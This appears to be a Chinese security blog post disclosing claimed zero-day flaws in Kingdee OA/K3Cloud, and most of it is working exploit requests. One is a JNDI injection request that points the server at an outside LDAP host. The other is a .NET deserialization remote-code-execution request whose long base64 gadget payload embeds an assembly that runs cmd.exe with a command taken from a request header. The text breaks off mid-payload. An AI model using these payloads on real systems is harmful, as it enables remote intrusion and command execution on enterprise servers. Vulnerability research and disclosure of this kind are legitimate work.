文章总结： 文章披露金蝶OA（K3Cloud）存在4处0day：ApusicloadTree接口JNDI注入、UserService反序列化RCE、ScpSupRegHandler与uploadLogo.action任意文件上传，均给出可直接利用的HTTP请求POC，影响私有化部署的SpringBoot+MyBatis架构系统，建议立即限制对应接口访问并升级补丁。
综合评分： 92
文章分类： 漏洞分析,漏洞POC,WEB安全,应用安全,应急响应

【0day】金蝶OA

原创

SharkSec

2026年1月4日 18:18
湖南

🔔 温馨提示：为了防止走散，不错过每一篇干货内容，请记得将公众号设置为星标！🌟

【声明】本文所有POC仅用于合法安全测试，严禁在未获得明确授权的情况下对任何系统进行测试。擅自测试所引发的一切后果，由操作者自行承担全部法律责任，作者及团队不承担任何连带责任。

引言

金蝶 OA（K3Cloud 协同平台）是一套基于 SpringBoot + MyBatis 技术栈的企业级 ERP 协同系统，支持 MySQL、Oracle 等多数据库私有化部署。其本地安装包解压后，bin、WebSite\BPMServices、ManageSite 三个目录即构成完整的 Java Web 应用：前者存放核心业务 jar，后者提供 REST 与 BPM 接口，统一由 Apusic 或 Tomcat 容器加载。近期通过在本地搭建环境进行审计，确认一处存在漏洞（文末附POC），仅供安全研究与学习参考。请务必在合法授权范围内进行测试，遵守法律法规。

金蝶Apusic应用服务器loadTree-JNDI注入

POST&nbsp;/appmonitor/protect/jndi/loadTree HTTP/1.1Host:&nbsp;Cache-Control: max-age=0Upgrade-Insecure-Requests:&nbsp;1User-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64) AppleWebKit/537.36&nbsp;(KHTML, like Gecko) Chrome/120.0.0.0&nbsp;Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length:&nbsp;55jndiName=ldap://{{interactsh-url}}/Basic/Command/calc

金蝶反序列化远程代码执行

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.User.UserService.SaveUserPassport.common.kdsvc?dcInfo=11 HTTP/1.1Host:&nbsp;User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: ASP.NET_SessionId=41t5f11hkfhru5h5bc5wox3p; Theme=standard; kdservice-sessionid=13390743-9d17-4d4f-a6a9-a58582831195Upgrade-Insecure-Requests: 1cmd: &nbsp;tasklistsec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Content-Type: text/jsonContent-Length: 15916
&nbsp;{"ap0":"AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNv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b2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAAAAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBt